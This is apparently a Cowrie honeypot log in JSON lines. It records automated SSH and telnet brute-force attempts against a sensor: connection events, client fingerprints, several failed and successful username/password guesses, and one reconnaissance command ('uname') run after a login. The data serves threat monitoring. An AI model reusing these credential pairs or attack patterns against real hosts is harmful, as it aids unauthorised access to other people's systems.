{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:08.171857Z","src_ip":"45.153.34.112","session":"5cbe539ecc5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:08.449269Z","src_ip":"45.153.34.112","session":"5cbe539ecc5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:09.737143Z","src_ip":"45.153.34.112","session":"5cbe539ecc5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2765f60bbe94","protocol":"ssh","message":"New connection: 45.153.34.112:58782 (10.17.0.5:22) [session: 2765f60bbe94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:11.767301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:11.857769Z","src_ip":"45.153.34.112","session":"2765f60bbe94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:11.861401Z","src_ip":"45.153.34.112","session":"2765f60bbe94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:12.269465Z","src_ip":"45.153.34.112","session":"2765f60bbe94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":57266,"dst_ip":"10.17.0.5","dst_port":22,"session":"0998c393f0ed","protocol":"ssh","message":"New connection: 43.153.112.253:57266 (10.17.0.5:22) [session: 0998c393f0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:12.542704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:12.547129Z","src_ip":"43.153.112.253","session":"0998c393f0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:12.619583Z","src_ip":"43.153.112.253","session":"0998c393f0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:12.927461Z","src_ip":"43.153.112.253","session":"0998c393f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:13.422539Z","src_ip":"45.153.34.112","session":"2765f60bbe94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.441364288330078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:13.520878Z","src_ip":"192.119.13.58","session":"56344bfe1457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:14.000433Z","src_ip":"43.153.112.253","session":"0998c393f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58790,"dst_ip":"10.17.0.5","dst_port":22,"session":"73db37ad6674","protocol":"ssh","message":"New connection: 45.153.34.112:58790 (10.17.0.5:22) [session: 73db37ad6674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:15.483177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:15.575934Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:15.579996Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59732,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ee8a3e2e42","protocol":"telnet","message":"New connection: 192.119.13.58:59732 (10.17.0.5:23) [session: f4ee8a3e2e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:15.773985Z"}
{"eventid":"cowrie.session.closed","duration":0.006040096282958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:15.779863Z","src_ip":"192.119.13.58","session":"f4ee8a3e2e42","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:16.012632Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:16.226086Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:16.230148Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:16.323012Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:16.328325Z","src_ip":"45.153.34.112","session":"73db37ad6674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53076,"dst_ip":"159.203.135.109","dst_port":22,"session":"208fef3cc0b2","protocol":"ssh","message":"New connection: 194.59.206.2:53076 (159.203.135.109:22) [session: 208fef3cc0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:17.843934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:17.848427Z","src_ip":"194.59.206.2","session":"208fef3cc0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:17.945691Z","src_ip":"194.59.206.2","session":"208fef3cc0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:18.042065Z","src_ip":"194.59.206.2","session":"208fef3cc0b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93031048774719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:19.426268Z","src_ip":"192.119.13.58","session":"a4f82e536cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58804,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b8889df25d","protocol":"ssh","message":"New connection: 45.153.34.112:58804 (10.17.0.5:22) [session: a7b8889df25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:19.516821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:19.585804Z","src_ip":"45.153.34.112","session":"a7b8889df25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:19.668628Z","src_ip":"45.153.34.112","session":"a7b8889df25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:19.919354Z","src_ip":"45.153.34.112","session":"a7b8889df25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.353978872299194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:20.661163Z","src_ip":"192.119.13.58","session":"f4d6b6f9e9cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:21.003204Z","src_ip":"45.153.34.112","session":"a7b8889df25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56730,"dst_ip":"10.17.0.5","dst_port":22,"session":"771ef7750af5","protocol":"ssh","message":"New connection: 45.153.34.112:56730 (10.17.0.5:22) [session: 771ef7750af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:23.243558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:23.248340Z","src_ip":"45.153.34.112","session":"771ef7750af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:23.329563Z","src_ip":"45.153.34.112","session":"771ef7750af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:23.699852Z","src_ip":"45.153.34.112","session":"771ef7750af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:24.785919Z","src_ip":"45.153.34.112","session":"771ef7750af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56744,"dst_ip":"10.17.0.5","dst_port":22,"session":"820ccc6acc5d","protocol":"ssh","message":"New connection: 45.153.34.112:56744 (10.17.0.5:22) [session: 820ccc6acc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:26.763634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:26.768830Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:26.850750Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.098211Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
